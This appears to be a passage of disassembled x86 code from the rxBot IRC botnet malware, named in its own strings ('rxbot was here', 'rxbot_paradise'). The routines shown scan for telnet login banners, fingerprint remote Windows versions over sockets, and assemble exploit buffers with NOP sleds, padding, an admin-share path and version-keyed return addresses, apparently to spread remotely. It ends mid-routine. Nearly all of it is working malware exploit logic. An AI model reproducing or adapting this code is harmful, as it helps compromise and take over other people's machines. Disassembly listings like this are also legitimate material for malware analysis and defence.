sub_40AB30	proc near		; CODE XREF: sub_408F4C+2Bp
					; sub_40B32A+108p
		call	sub_40AA05
		call	sub_41084A	; clock
		lock xadd dword_41880C,	eax
		and	eax, 1
		retn
sub_40AB30	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB46	proc near		; CODE XREF: sub_40735A+5D8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		test	ebx, ebx
		push	esi
		jz	short loc_40AB7F
		mov	esi, [esp+8+arg_0]
		cmp	ebx, 3
		jbe	short loc_40AB70
		push	edi
		mov	edi, ebx
		shr	edi, 2


loc_40AB5F:				; CODE XREF: sub_40AB46+27j
		call	sub_40AB05
		mov	[esi], eax
		add	esi, 4
		sub	ebx, 4
		dec	edi
		jnz	short loc_40AB5F
		pop	edi


loc_40AB70:				; CODE XREF: sub_40AB46+11j
		test	ebx, ebx
		jbe	short loc_40AB7F


loc_40AB74:				; CODE XREF: sub_40AB46+37j
		call	sub_40AB18
		mov	[esi], al
		inc	esi
		dec	ebx
		jnz	short loc_40AB74


loc_40AB7F:				; CODE XREF: sub_40AB46+8j
					; sub_40AB46+2Cj
		pop	esi
		pop	ebx
		retn
sub_40AB46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB82	proc near		; CODE XREF: sub_4027CB+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		jnz	short loc_40AB8F
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40AB8F:				; CODE XREF: sub_40AB82+7j
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jnz	short loc_40AB99
		mov	eax, [ebp+arg_4]


loc_40AB99:				; CODE XREF: sub_40AB82+12j
		push	edi
		push	eax
		push	[ebp+arg_4]
		call	sub_40AADE
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jbe	short loc_40ABC7
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, edi


loc_40ABB2:				; CODE XREF: sub_40AB82+41j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40AADE
		mov	[esi], al
		pop	ecx
		inc	esi
		dec	ebx
		pop	ecx
		jnz	short loc_40ABB2
		pop	esi
		pop	ebx


loc_40ABC7:				; CODE XREF: sub_40AB82+27j
		mov	eax, edi
		pop	edi
		pop	ebp
		retn
sub_40AB82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ABCC	proc near		; CODE XREF: seg000:0041062Dp

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	esi
		lea	eax, [ebp+var_58]
		push	edi
		push	eax
		call	sub_409F29
		push	[ebp+arg_4]
		lea	eax, [ebp+var_58]
		push	[ebp+arg_0]
		push	eax
		call	sub_409F51
		lea	eax, [ebp+var_58]
		push	eax
		push	offset byte_418820
		call	sub_409FF0
		add	esp, 18h
		lea	esi, byte_418820
		mov	edi, esi
		push	10h
		pop	ecx


loc_40AC08:				; CODE XREF: sub_40ABCC+43j
		lodsb
		or	eax, 80h
		stosb
		loop	loc_40AC08
		pop	edi
		pop	esi
		leave
		retn
sub_40ABCC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC15	proc near		; CODE XREF: sub_4049B5+7Dp
					; sub_4049B5+FFp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	ebx
		push	esi
		mov	bl, [ecx]
		cmp	bl, 7Fh
		ja	short loc_40AC4B
		xor	esi, esi
		test	bl, bl
		jz	short loc_40AC4B
		push	edi


loc_40AC29:				; CODE XREF: sub_40AC15+33j
		mov	eax, esi
		push	10h
		cdq
		pop	edi
		idiv	edi
		mov	al, byte_418820[edx]
		xor	al, bl
		inc	esi
		mov	[ecx], al
		mov	eax, [esp+0Ch+arg_0]
		mov	bl, [esi+eax]
		lea	ecx, [esi+eax]
		test	bl, bl
		jnz	short loc_40AC29
		pop	edi


loc_40AC4B:				; CODE XREF: sub_40AC15+Bj
					; sub_40AC15+11j
		pop	esi
		pop	ebx
		retn
sub_40AC15	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC4E	proc near		; CODE XREF: sub_401000+3Fp
					; sub_4033B0+19p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	ebx
		push	esi
		mov	bl, [ecx]
		cmp	bl, 7Fh
		jbe	short loc_40AC84
		xor	esi, esi
		test	bl, bl
		jz	short loc_40AC84
		push	edi


loc_40AC62:				; CODE XREF: sub_40AC4E+33j
		mov	eax, esi
		push	10h
		cdq
		pop	edi
		idiv	edi
		mov	al, byte_418820[edx]
		xor	al, bl
		inc	esi
		mov	[ecx], al
		mov	eax, [esp+0Ch+arg_0]
		mov	bl, [esi+eax]
		lea	ecx, [esi+eax]
		test	bl, bl
		jnz	short loc_40AC62
		pop	edi


loc_40AC84:				; CODE XREF: sub_40AC4E+Bj
					; sub_40AC4E+11j
		pop	esi
		pop	ebx
		retn
sub_40AC4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC87	proc near		; DATA XREF: .data:00416A88o

var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, 200h
		push	2710h
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DAD
		add	esp, 10h
		test	eax, eax
		jz	short loc_40AD27
		push	0Ch
		lea	eax, [ebp+var_200]
		push	offset dword_4140E0
		push	eax
		call	sub_410AFA	; memcmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40AD27
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D69
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40AD27
		lea	eax, [ebp+var_200]
		push	offset aUserAccessVeri ; "\r\n\r\nUser Access Verification\r\n\r\nPasswor"...
		push	eax
		call	sub_410AEE	; strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AD27
		mov	eax, [esi]
		inc	dword ptr [eax+2Ah]
		lea	eax, [esi+42h]
		push	eax
		mov	eax, [esi]
		add	esi, 4
		push	dword ptr [eax+2Ah]
		push	offset aTelnet	; "telnet"
		push	esi
		push	offset unk_414074
		push	offset dword_4177EC
		call	sub_408CDE
		add	esp, 18h


loc_40AD27:				; CODE XREF: sub_40AC87+2Dj
					; sub_40AC87+47j ...
		pop	edi
		pop	esi
		leave
		retn
sub_40AC87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AD2B	proc near		; CODE XREF: sub_40AE3D+5Ap

var_1000	= byte ptr -1000h
var_FF8		= byte ptr -0FF8h
var_FF4		= byte ptr -0FF4h
var_FDB		= byte ptr -0FDBh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_4108B0
		push	ebx
		push	esi
		mov	ebx, 0EA60h
		push	edi
		push	ebx
		push	[ebp+arg_0]
		call	sub_403DD6
		mov	esi, ds:dword_411258
		pop	ecx
		test	eax, eax
		pop	ecx
		mov	edi, 1000h
		jz	short loc_40AD7A
		push	0
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	esi	; recv
		test	eax, eax
		jz	loc_40AE36
		cmp	eax, 0FFFFFFFFh
		jz	loc_40AE36


loc_40AD7A:				; CODE XREF: sub_40AD2B+2Dj
		push	28h
		push	offset dword_4140F0
		push	[ebp+arg_0]
		call	sub_403D54
		push	ebx
		push	[ebp+arg_0]
		call	sub_403DD6
		add	esp, 14h
		test	eax, eax
		jz	loc_40AE36
		push	0
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	esi	; recv
		test	eax, eax
		jz	loc_40AE36
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40AE36
		lea	eax, [ebp+var_FDB]
		push	eax
		call	sub_41088C	; atoi
		cmp	[ebp+var_FF8], 5
		pop	ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jnz	short loc_40AE23
		cmp	[ebp+var_FF4], 0
		jnz	short loc_40ADEF
		xor	ecx, ecx
		cmp	eax, 4
		setle	cl
		dec	ecx
		and	ecx, 0FFFFFFFEh
		inc	ecx
		inc	ecx


loc_40ADEB:				; CODE XREF: sub_40AD2B+DCj
					; sub_40AD2B+F6j ...
		mov	eax, ecx
		jmp	short loc_40AE38
; ---------------------------------------------------------------------------


loc_40ADEF:				; CODE XREF: sub_40AD2B+B0j
		cmp	[ebp+var_FF4], 1
		jnz	short loc_40AE09
		xor	ecx, ecx
		cmp	eax, 2
		setle	cl
		dec	ecx
		and	ecx, 0FFFFFFFDh
		add	ecx, 3
		jmp	short loc_40ADEB
; ---------------------------------------------------------------------------


loc_40AE09:				; CODE XREF: sub_40AD2B+CBj
		cmp	[ebp+var_FF4], 2
		jnz	short loc_40AE36
		xor	ecx, ecx
		cmp	eax, 3
		setle	cl
		dec	ecx
		and	ecx, 0FFFFFFFCh
		add	ecx, 4
		jmp	short loc_40ADEB
; ---------------------------------------------------------------------------


loc_40AE23:				; CODE XREF: sub_40AD2B+A7j
		cmp	[ebp+var_FF8], 4
		jnz	short loc_40AE36
		xor	ecx, ecx
		cmp	eax, 6
		setle	cl
		jmp	short loc_40ADEB
; ---------------------------------------------------------------------------


loc_40AE36:				; CODE XREF: sub_40AD2B+40j
					; sub_40AD2B+49j ...
		xor	eax, eax


loc_40AE38:				; CODE XREF: sub_40AD2B+C2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40AD2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE3D	proc near		; DATA XREF: .data:004169A0o

var_1204	= byte ptr -1204h
var_1004	= byte ptr -1004h
var_F37		= byte ptr -0F37h
var_E02		= byte ptr -0E02h
var_E00		= dword	ptr -0E00h
var_DFC		= byte ptr -0DFCh
var_BF2		= byte ptr -0BF2h
var_A2C		= byte ptr -0A2Ch
var_928		= byte ptr -928h
var_518		= byte ptr -518h
var_414		= byte ptr -414h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1204h
		call	sub_4108B0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	3
		push	offset asc_412214 ; "\r\n"
		push	dword ptr [esi+2Ah]
		lea	eax, [esi+146h]
		push	eax
		lea	eax, [esi+0C6h]
		push	eax
		lea	eax, [ebp+var_1204]
		push	dword ptr [esi+0C2h]
		push	200h
		push	eax
		call	sub_40D700
		mov	edi, eax
		add	esp, 20h
		test	edi, edi
		jz	loc_40B005
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_40AD2B
		pop	ecx
		mov	[ebp+var_4], eax
		test	eax, eax
		pop	ecx
		jz	loc_40B005
		mov	ebx, 1000h
		lea	eax, [ebp+var_1004]
		push	ebx
		push	0
		push	eax
		call	sub_410850	; memset
		push	2
		lea	eax, [ebp+var_1004]
		push	offset dword_4141C4
		push	eax
		call	sub_410838	; memcpy
		push	1F4h
		lea	eax, [ebp+var_F37]
		push	90h
		push	eax
		call	sub_410850	; memset
		lea	eax, [ebp+var_1204]
		push	edi
		push	eax
		lea	eax, [ebp+var_DFC]
		push	eax
		call	sub_410838	; memcpy
		push	5
		lea	eax, [ebp+var_BF2]
		push	offset aRxbot	; "rxbot"
		push	eax
		call	sub_410838	; memcpy
		push	0Eh
		lea	eax, [ebp+var_A2C]
		push	offset aRxbotWasHere ; "rxbot was here"
		push	eax
		call	sub_410838	; memcpy
		add	esp, 48h
		lea	eax, [ebp+var_928]
		push	11h
		push	offset a121204131313 ; "12/12/04 13:13:13"
		push	eax
		call	sub_410838	; memcpy
		push	0Eh
		lea	eax, [ebp+var_518]
		push	offset aRxbot_paradise ; "rxbot_paradise"
		push	eax
		call	sub_410838	; memcpy
		push	10h
		lea	eax, [ebp+var_414]
		push	offset a131_131_131_13 ; "131.131.131.131"
		push	eax
		call	sub_410838	; memcpy
		mov	edi, offset loc_41416C
		push	edi
		call	sub_410826	; strlen
		push	eax
		lea	eax, [ebp+var_108]
		push	edi
		push	eax
		call	sub_410838	; memcpy
		push	2
		lea	eax, [ebp+var_E02]
		push	offset loc_414168
		push	eax
		call	sub_410838	; memcpy
		add	esp, 40h
		cmp	[ebp+var_4], 1
		jnz	short loc_40AF9D
		mov	eax, [ebp+arg_0]
		mov	eax, dword_41411C[eax*4]
		jmp	short loc_40AFC8
; ---------------------------------------------------------------------------


loc_40AF9D:				; CODE XREF: sub_40AE3D+152j
		cmp	[ebp+var_4], 2
		jnz	short loc_40AFAF
		mov	eax, [ebp+arg_0]
		mov	eax, dword_414138[eax*4]
		jmp	short loc_40AFC8
; ---------------------------------------------------------------------------


loc_40AFAF:				; CODE XREF: sub_40AE3D+164j
		cmp	[ebp+var_4], 3
		mov	eax, [ebp+arg_0]
		jnz	short loc_40AFC1
		mov	eax, dword_41414C[eax*4]
		jmp	short loc_40AFC8
; ---------------------------------------------------------------------------


loc_40AFC1:				; CODE XREF: sub_40AE3D+179j
		mov	eax, dword_414158[eax*4]


loc_40AFC8:				; CODE XREF: sub_40AE3D+15Ej
					; sub_40AE3D+170j ...
		mov	[ebp+var_E00], eax
		lea	eax, [ebp+var_1004]
		push	ebx
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D54
		push	0EA60h
		push	dword ptr [esi+3Eh]
		call	sub_403DD6
		add	esp, 14h
		test	eax, eax
		jz	short loc_40B005
		push	0
		lea	eax, [ebp+var_1004]
		push	ebx
		push	eax
		push	dword ptr [esi+3Eh]
		call	ds:dword_411258	; recv


loc_40B005:				; CODE XREF: sub_40AE3D+49j
					; sub_40AE3D+66j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40AE3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B00A	proc near		; CODE XREF: seg000:0040B177p

var_1000	= byte ptr -1000h
var_FF8		= byte ptr -0FF8h
var_FF4		= byte ptr -0FF4h
var_FDB		= byte ptr -0FDBh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_4108B0
		push	ebx
		push	esi
		mov	ebx, 0EA60h
		push	edi
		push	ebx
		push	[ebp+arg_0]
		call	sub_403DD6
		mov	esi, ds:dword_411258
		pop	ecx
		test	eax, eax
		pop	ecx
		mov	edi, 1000h
		jz	short loc_40B059
		push	0
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	esi	; recv
		test	eax, eax
		jz	loc_40B115
		cmp	eax, 0FFFFFFFFh
		jz	loc_40B115


loc_40B059:				; CODE XREF: sub_40B00A+2Dj
		push	28h
		push	offset dword_4141C8
		push	[ebp+arg_0]
		call	sub_403D54
		push	ebx
		push	[ebp+arg_0]
		call	sub_403DD6
		add	esp, 14h
		test	eax, eax
		jz	loc_40B115
		push	0
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	esi	; recv
		test	eax, eax
		jz	loc_40B115
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B115
		lea	eax, [ebp+var_FDB]
		push	eax
		call	sub_41088C	; atoi
		cmp	[ebp+var_FF8], 5
		pop	ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jnz	short loc_40B102
		cmp	[ebp+var_FF4], 0
		jnz	short loc_40B0CE
		xor	ecx, ecx
		cmp	eax, 4
		setle	cl
		dec	ecx
		and	ecx, 0FFFFFFFEh
		inc	ecx
		inc	ecx


loc_40B0CA:				; CODE XREF: sub_40B00A+DCj
					; sub_40B00A+F6j ...
		mov	eax, ecx
		jmp	short loc_40B117
; ---------------------------------------------------------------------------


loc_40B0CE:				; CODE XREF: sub_40B00A+B0j
		cmp	[ebp+var_FF4], 1
		jnz	short loc_40B0E8
		xor	ecx, ecx
		cmp	eax, 2
		setle	cl
		dec	ecx
		and	ecx, 0FFFFFFFDh
		add	ecx, 3
		jmp	short loc_40B0CA
; ---------------------------------------------------------------------------


loc_40B0E8:				; CODE XREF: sub_40B00A+CBj
		cmp	[ebp+var_FF4], 2
		jnz	short loc_40B115
		xor	ecx, ecx
		cmp	eax, 3
		setle	cl
		dec	ecx
		and	ecx, 0FFFFFFFCh
		add	ecx, 4
		jmp	short loc_40B0CA
; ---------------------------------------------------------------------------


loc_40B102:				; CODE XREF: sub_40B00A+A7j
		cmp	[ebp+var_FF8], 4
		jnz	short loc_40B115
		xor	ecx, ecx
		cmp	eax, 6
		setle	cl
		jmp	short loc_40B0CA
; ---------------------------------------------------------------------------


loc_40B115:				; CODE XREF: sub_40B00A+40j
					; sub_40B00A+49j ...
		xor	eax, eax


loc_40B117:				; CODE XREF: sub_40B00A+C2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B00A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 1204h
		call	sub_4108B0
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		push	3
		push	offset asc_412214 ; "\r\n"
		push	dword ptr [esi+2Ah]
		lea	eax, [esi+146h]
		push	eax
		lea	eax, [esi+0C6h]
		push	eax
		lea	eax, [ebp-204h]
		push	dword ptr [esi+0C2h]
		push	200h
		push	eax
		call	sub_40D700
		add	esp, 20h
		mov	[ebp-4], eax
		test	eax, eax
		jz	loc_40B278
		and	dword ptr [ebp+8], 0
		lea	eax, [ebp+8]
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_40B00A
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		pop	ecx
		jz	loc_40B278
		mov	edi, 1000h
		lea	eax, [ebp-1204h]
		push	edi
		push	0
		push	eax
		call	sub_410850	; memset
		push	2
		lea	eax, [ebp-1204h]
		push	offset dword_4141C4
		push	eax
		call	sub_410838	; memcpy
		push	8
		lea	eax, [ebp-1137h]
		push	offset dword_414218
		push	eax
		call	sub_410838	; memcpy
		push	dword ptr [ebp-4]
		lea	eax, [ebp-204h]
		push	eax
		lea	eax, [ebp-112Fh]
		push	eax
		call	sub_410838	; memcpy
		push	20h
		lea	eax, [ebp-0FFCh]
		push	offset dword_4141F4
		push	eax
		call	sub_410838	; memcpy
		push	2
		lea	eax, [ebp-1002h]
		push	offset loc_414168
		push	eax
		call	sub_410838	; memcpy
		add	esp, 48h
		cmp	ebx, 1
		jnz	short loc_40B212
		mov	eax, [ebp+8]
		mov	eax, dword_414224[eax*4]
		jmp	short loc_40B23B
; ---------------------------------------------------------------------------


loc_40B212:				; CODE XREF: seg000:0040B204j
		cmp	ebx, 2
		jnz	short loc_40B223
		mov	eax, [ebp+8]
		mov	eax, dword_414240[eax*4]
		jmp	short loc_40B23B
; ---------------------------------------------------------------------------


loc_40B223:				; CODE XREF: seg000:0040B215j
		mov	eax, [ebp+8]
		cmp	ebx, 3
		jnz	short loc_40B234
		mov	eax, dword_414254[eax*4]
		jmp	short loc_40B23B
; ---------------------------------------------------------------------------


loc_40B234:				; CODE XREF: seg000:0040B229j
		mov	eax, dword_414260[eax*4]


loc_40B23B:				; CODE XREF: seg000:0040B210j
					; seg000:0040B221j ...
		mov	[ebp-1000h], eax
		lea	eax, [ebp-1204h]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D54
		push	0EA60h
		push	dword ptr [esi+3Eh]
		call	sub_403DD6
		add	esp, 14h
		test	eax, eax
		jz	short loc_40B278
		push	0
		lea	eax, [ebp-1204h]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	ds:dword_411258	; recv


loc_40B278:				; CODE XREF: seg000:0040B166j
					; seg000:0040B182j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B27D	proc near		; DATA XREF: .data:off_416796o

var_1800	= byte ptr -1800h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1800h
		call	sub_4108B0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	1
		lea	eax, [esi+42h]
		push	eax
		call	sub_40C794
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		push	esi
		call	sub_40B32A
		add	esp, 14h
		mov	[ebp+arg_0], eax
		test	eax, eax
		jz	short loc_40B325
		push	48h
		push	offset dword_414270
		push	dword ptr [esi+3Eh]
		call	sub_403D54
		push	0EA60h
		push	dword ptr [esi+3Eh]
		call	sub_403DD6
		add	esp, 14h
		test	eax, eax
		jz	short loc_40B325
		mov	edi, ds:dword_411258
		mov	ebx, 1000h
		push	0
		lea	eax, [ebp+var_1800]
		push	ebx
		push	eax
		push	dword ptr [esi+3Eh]
		call	edi	; recv
		push	[ebp+arg_0]
		lea	eax, [ebp+var_800]
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D54
		push	0EA60h
		push	dword ptr [esi+3Eh]
		call	sub_403DD6
		add	esp, 14h
		test	eax, eax
		jz	short loc_40B325
		push	0
		lea	eax, [ebp+var_1800]
		push	ebx
		push	eax
		push	dword ptr [esi+3Eh]
		call	edi	; recv


loc_40B325:				; CODE XREF: sub_40B27D+34j
					; sub_40B27D+57j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B27D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B32A	proc near		; CODE XREF: sub_40B27D+27p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, [ebp+arg_0]
		push	7
		push	offset dword_4146F0
		push	dword ptr [eax+2Ah]
		lea	ecx, [eax+146h]
		push	ecx
		lea	ecx, [eax+0C6h]
		push	ecx
		push	dword ptr [eax+0C2h]
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_40D700
		add	esp, 20h
		mov	[ebp+arg_0], eax
		test	eax, eax
		jnz	short loc_40B371
		leave
		retn
; ---------------------------------------------------------------------------


loc_40B371:				; CODE XREF: sub_40B32A+43j
		push	ebx
		push	esi
		push	edi
		add	eax, 0D7h
		push	10h
		mov	ebx, 0B3h
		cdq
		pop	ecx
		idiv	ecx
		push	0Ch
		pop	eax
		sub	eax, edx
		jns	short loc_40B38E
		add	ebx, 10h


loc_40B38E:				; CODE XREF: sub_40B32A+5Fj
		mov	esi, [ebp+arg_4]
		push	360h
		push	offset dword_4142F0
		push	esi
		sub	ebx, edx
		call	sub_410838	; memcpy
		lea	eax, [esi+360h]
		push	10h
		push	offset dword_414654
		push	eax
		call	sub_410838	; memcpy
		push	30h
		lea	eax, [esi+370h]
		push	offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
		push	eax
		call	sub_410838	; memcpy
		push	ebx
		lea	eax, [esi+3A0h]
		push	0FFFFFF90h
		push	eax
		call	sub_410850	; memset
		push	[ebp+arg_0]
		lea	edi, [ebx+3A0h]
		lea	eax, [ebp+var_200]
		push	eax
		lea	eax, [edi+esi]
		push	eax
		call	sub_410838	; memcpy
		add	edi, [ebp+arg_0]
		push	3Ch
		push	offset aC1234561111111 ; "\\C$\\123456111111111111111.doc"
		lea	eax, [edi+esi]
		push	eax
		call	sub_410838	; memcpy
		add	esp, 48h
		add	edi, 3Ch
		push	30h
		lea	eax, [edi+esi]
		push	offset dword_4146A8
		push	eax
		call	sub_410838	; memcpy
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		add	edi, 30h
		dec	eax
		lea	ecx, [esi+394h]
		jz	short loc_40B464
		dec	eax
		jz	short loc_40B45B
		dec	eax
		jz	short loc_40B452
		call	sub_40AB30
		test	eax, eax
		push	4
		jz	short loc_40B444
		push	offset dword_4146E8
		jmp	short loc_40B449
; ---------------------------------------------------------------------------


loc_40B444:				; CODE XREF: sub_40B32A+111j
		push	offset dword_4146EC


loc_40B449:				; CODE XREF: sub_40B32A+118j
		lea	eax, [esi+394h]
		push	eax
		jmp	short loc_40B46C
; ---------------------------------------------------------------------------


loc_40B452:				; CODE XREF: sub_40B32A+106j
		push	4
		push	offset dword_4146E4
		jmp	short loc_40B46B
; ---------------------------------------------------------------------------


loc_40B45B:				; CODE XREF: sub_40B32A+103j
		push	4
		push	offset dword_4146E0
		jmp	short loc_40B46B
; ---------------------------------------------------------------------------


loc_40B464:				; CODE XREF: sub_40B32A+100j
		push	4
		push	offset dword_4146DC


loc_40B46B:				; CODE XREF: sub_40B32A+12Fj
					; sub_40B32A+138j
		push	ecx


loc_40B46C:				; CODE XREF: sub_40B32A+126j
		call	sub_410838	; memcpy
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		lea	eax, [ebx+eax+30h]
		lea	ecx, [eax-0Ch]
		add	[esi+8], ecx
		lea	ecx, [eax-0Ch]
		add	[esi+10h], ecx
		lea	ecx, [eax-0Ch]
		add	[esi+80h], ecx
		lea	ecx, [eax-0Ch]
		add	[esi+84h], ecx
		lea	ecx, [eax-0Ch]
		add	[esi+0B4h], ecx
		lea	ecx, [eax-0Ch]
		add	[esi+0B8h], ecx
		lea	ecx, [eax-0Ch]
		add	[esi+0D0h], ecx
		lea	ecx, [eax-0Ch]
		add	[esi+18Ch], ecx
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[esi+360h], eax
		add	[esi+368h], eax
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B32A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4D5	proc near		; DATA XREF: .data:004167D0o

var_1B68	= byte ptr -1B68h
var_B68		= byte ptr -0B68h
var_968		= byte ptr -968h
var_960		= dword	ptr -960h
var_958		= dword	ptr -958h
var_950		= byte ptr -950h
var_90C		= byte ptr -90Ch
var_8EC		= byte ptr -8ECh
var_8E8		= byte ptr -8E8h
var_8E4		= byte ptr -8E4h
var_8E0		= byte ptr -8E0h
var_8DC		= byte ptr -8DCh
var_884		= byte ptr -884h
var_87E		= byte ptr -87Eh
var_876		= byte ptr -876h
var_872		= byte ptr -872h
var_86E		= byte ptr -86Eh
var_868		= byte ptr -868h
var_168		= byte ptr -168h
var_7C		= byte ptr -7Ch
var_72		= byte ptr -72h
var_6E		= byte ptr -6Eh
var_36		= byte ptr -36h
var_32		= byte ptr -32h
var_2E		= byte ptr -2Eh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1B68h
		call	sub_4108B0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	48h
		push	offset dword_4146F8
		push	dword ptr [edi+3Eh]
		call	sub_403D54
		push	0EA60h
		push	dword ptr [edi+3Eh]
		call	sub_403DD6
		add	esp, 14h
		test	eax, eax
		jz	loc_40B79E
		xor	esi, esi
		lea	eax, [ebp+var_1B68]
		push	esi
		push	1000h
		push	eax
		push	dword ptr [edi+3Eh]
		call	ds:dword_411258	; recv
		push	7
		push	offset dword_4146F0
		push	dword ptr [edi+2Ah]
		lea	eax, [edi+146h]
		push	eax
		lea	eax, [edi+0C6h]
		push	eax
		lea	eax, [ebp+var_B68]
		push	dword ptr [edi+0C2h]
		push	200h
		push	eax
		call	sub_40D700
		add	esp, 20h
		cmp	eax, esi
		mov	[ebp+arg_0], eax
		jz	loc_40B79E
		push	ebx
		mov	ebx, 168h


loc_40B569:				; CODE XREF: sub_40B4D5+A9j
		push	7Ah
		push	61h
		call	sub_40AADE
		mov	[ebp+esi+var_168], al
		inc	esi
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jl	short loc_40B569
		push	0Ah
		lea	eax, [ebp+var_7C]
		push	offset loc_4147E8
		push	eax
		call	sub_410838	; memcpy
		push	2
		lea	eax, [ebp+var_72]
		push	offset loc_414838
		push	eax
		call	sub_410838	; memcpy
		push	4
		lea	eax, [ebp+var_6E]
		push	offset loc_414830
		push	eax
		call	sub_410838	; memcpy
		push	2
		lea	eax, [ebp+var_36]
		push	offset loc_414834
		push	eax
		call	sub_410838	; memcpy
		push	4
		lea	eax, [ebp+var_32]
		push	(offset	loc_41482B+1)
		push	eax
		call	sub_410838	; memcpy
		push	0Bh
		lea	eax, [ebp+var_2E]
		push	offset loc_4147DC
		push	eax
		call	sub_410838	; memcpy
		add	esp, 48h
		lea	eax, [ebp+var_968]
		mov	esi, 3E6h
		sub	esi, [ebp+arg_0]
		push	18h
		push	offset dword_414744
		push	eax
		call	sub_410838	; memcpy
		push	44h
		lea	eax, [ebp+var_950]
		push	offset dword_414760
		push	eax
		call	sub_410838	; memcpy
		push	20h
		lea	eax, [ebp+var_90C]
		push	0FFFFFF90h
		push	eax
		call	sub_410850	; memset
		push	4
		lea	eax, [ebp+var_8EC]
		push	offset loc_4147F4
		push	eax
		call	sub_410838	; memcpy
		push	4
		lea	eax, [ebp+var_8E8]
		push	offset loc_414828
		push	eax
		call	sub_410838	; memcpy
		push	4
		lea	eax, [ebp+var_8E4]
		push	offset dword_414820
		push	eax
		call	sub_410838	; memcpy
		add	esp, 48h
